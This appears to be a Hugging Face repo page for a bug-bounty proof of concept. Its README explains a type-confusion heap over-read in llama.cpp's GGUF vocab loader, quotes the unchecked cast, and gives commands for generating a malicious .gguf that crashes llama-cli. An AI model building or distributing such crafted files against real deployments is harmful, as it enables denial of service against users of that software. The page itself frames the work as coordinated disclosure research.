Downloads · 30 days
4
1% of all-time downloads
ybgwon96/llamacpp-vocab-arrtype-confusion-poc
llamacpp-vocab-arrtype-confusion-poc is a machine learning model from ybgwon96. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Target: ggml-org/llama.cpp — src/llama-vocab.cpp llamavocab::impl::load (GGUF vocab loader). Format: GGUF (.gguf) — huntr high-value format. Class: CWE-843 type confusion → CWE-125 heap out-of-bounds read, at model lo…
Downloads · 30 days
4
1% of all-time downloads
All-time downloads
733
Public
Repo size
38 MB
Likes
0
Public
Click a slice to open those files.
.gguf38 MB · 100%
From the Hugging Face model README
Target: ggml-org/llama.cpp — src/llama-vocab.cpp llama_vocab::impl::load (GGUF vocab loader).
Format: GGUF (.gguf) — huntr high-value format.
Class: CWE-843 type confusion → CWE-125 heap out-of-bounds read, at model load.
Verified: source @ 665892536dfb1b7532161e3182304bd35c33e768; real llama-cli crash + isolated repro (CRASH_PROVEN.md).
The GGUF arrays tokenizer.ggml.scores (read as float*) and tokenizer.ggml.token_type (read as
int*) are validated only by element count (n >= n_tokens), never by element type
(gguf_get_arr_type is never called before the cast). Declaring either array as INT8 (1 byte/element)
with count = n_tokens passes the count check while the backing buffer is n_tokens bytes; the loader
casts it to float*/int* and reads n_tokens 4-byte elements → 3 * n_tokens bytes of heap
over-read during vocab construction at load.
scores = (const float *) gguf_get_arr_data(ctx, score_idx); // llama-vocab.cpp:2392 — no type check
...
token_data.score = scores[i]; // i in [0, n_tokens) -> reads 4*n_tokens bytes from n_tokens-byte buf
evil_arrtype.gguf — malicious model: arch=llama, 2,000,000 string tokens, tokenizer.ggml.scores
as a GGUF ARRAY of INT8. Crashes stock llama-cli in llama_vocab::impl::load.make_evil_gguf.py — regenerates it (python make_evil_gguf.py out.gguf <n_tokens>), using
gguf.GGUFWriter.add_key_value(key, val, ARRAY, sub_type=INT8).arrtype_repro.cpp / arrtype_repro — isolated reproduction of the cast + read loop; SIGSEGVs at -O0.CRASH_PROVEN.md — real-loader crash backtrace + isolated repro + the byte math.# real loader:
python3 -m venv v && ./v/bin/pip install gguf numpy
./v/bin/python make_evil_gguf.py evil_arrtype.gguf 2000000
llama-cli -m evil_arrtype.gguf -p "hi" -n 1 --no-warmup # -> SIGBUS in llama_vocab::impl::load
# isolated:
clang++ -O0 -g -std=c++17 -o arrtype_repro arrtype_repro.cpp && ./arrtype_repro # -> SIGSEGV
Coordinated-disclosure security PoC for the huntr AI/ML bug-bounty program. No payload; it only reads out-of-bounds memory to demonstrate the parser flaw.